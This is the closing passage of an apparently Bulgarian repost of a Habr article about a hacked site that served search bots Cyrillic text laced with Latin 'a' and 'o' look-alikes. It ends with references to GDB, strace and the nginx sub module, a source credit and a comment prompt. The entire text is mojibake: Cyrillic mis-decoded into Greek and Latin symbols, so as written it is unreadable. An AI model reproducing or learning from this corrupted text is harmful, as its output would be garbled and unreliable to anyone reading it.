Π’ΠΎΡ‡Π½ΠΎ Ρ‚Π°ΠΊΠ°, СдинствСната Ρ‚ΡŠΠ½ΠΊΠΎΡΡ‚ Π΅ Ρ‚ΠΎΠ²Π° 'a' != 'a' ΠΊΠ°ΠΊΡ‚ΠΎ ΠΈ 'o' != 'o':

ΠšΠΎΠ³Π°Ρ‚ΠΎ "Π°" Π½Π΅ Π΅ Ρ€Π°Π²Π½ΠΎ Π½Π° "Π°". Π’ Ρ€Π΅Π·ΡƒΠ»Ρ‚Π°Ρ‚ Π½Π° Π΅Π΄ΠΈΠ½ Ρ…Π°ΠΊ

Π’Π°ΠΊΠ° Π±ΠΎΡ‚ΠΎΠ²Π΅Ρ‚Π΅ Π½Π° Ρ‚ΡŠΡ€ΡΠ°Ρ‡ΠΊΠΈΡ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡Π°Π²Π°Ρ‚ вмСсто Π½ΠΎΡ€ΠΌΠ°Π»Π΅Π½ тСкст Π½Π° 100% ΠΊΠΈΡ€ΠΈΠ»ΠΈΡ†Π°, ΠΌΠΎΠ΄ΠΈΡ„ΠΈΡ†ΠΈΡ€Π°Π½ Π±ΠΎΠΊΠ»ΡƒΠΊ, Ρ€Π°Π·Ρ€Π΅Π΄Π΅Π½ с Π»Π°Ρ‚ΠΈΠ½ΠΈΡ†Π° "Π°" ΠΈ 'ΠΎ'. НС смСя Π΄Π° обсъТдам ΠΊΠ°ΠΊ Ρ‚ΠΎΠ²Π° сС отразява Π½Π° SEO, Π½ΠΎ Π΅ ΠΌΠ°Π»ΠΊΠΎ вСроятно Ρ‚Π°ΠΊΠ°Π²Π° Π±ΡŠΡ€ΠΊΠΎΡ‚ΠΈΡ ΠΎΡ‚ Π±ΡƒΠΊΠ²ΠΈ Π΄Π° ΠΈΠΌΠ° ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»Π΅Π½ Π΅Ρ„Π΅ΠΊΡ‚ Π²ΡŠΡ€Ρ…Ρƒ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈΡ‚Π΅ Π² Ρ€Π΅Π·ΡƒΠ»Ρ‚Π°Ρ‚ΠΈΡ‚Π΅ ΠΎΡ‚ Ρ‚ΡŠΡ€ΡΠ΅Π½Π΅Ρ‚ΠΎ.

Какво Π΄Π° ΠΊΠ°ΠΆΠ°, Ρ…ΠΎΡ€Π° с Π²ΡŠΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅.

ΠŸΠΎΠ·ΠΎΠ²Π°Π²Π°Π½Π΅Ρ‚ΠΎ

ΠžΡ‚ΡΡ‚Ρ€Π°Π½ΡΠ²Π°Π½Π΅ Π½Π° Π³Ρ€Π΅ΡˆΠΊΠΈ с GDB
gdb(1) β€” страница с Ρ€ΡŠΠΊΠΎΠ²ΠΎΠ΄ΡΡ‚Π²ΠΎ Π·Π° Linux
strace(1) β€” страница с Ρ€ΡŠΠΊΠΎΠ²ΠΎΠ΄ΡΡ‚Π²ΠΎ Π·Π° Linux
Nginx - ΠœΠΎΠ΄ΡƒΠ» ngx_http_sub_module
Π—Π° Ρ‚Ρ€ΠΈΠΎΠ½ΠΈ, ΠΌΠΎΡ‚ΠΎΡ€Π½ΠΈ Ρ‚Ρ€ΠΈΠΎΠ½ΠΈ ΠΈ СлСктричСски Ρ‚Ρ€ΠΈΠΎΠ½ΠΈ

Π˜Π·Ρ‚ΠΎΡ‡Π½ΠΈΠΊ: www.habr.com

ДобавянС Π½Π° Π½ΠΎΠ² ΠΊΠΎΠΌΠ΅Π½Ρ‚Π°Ρ€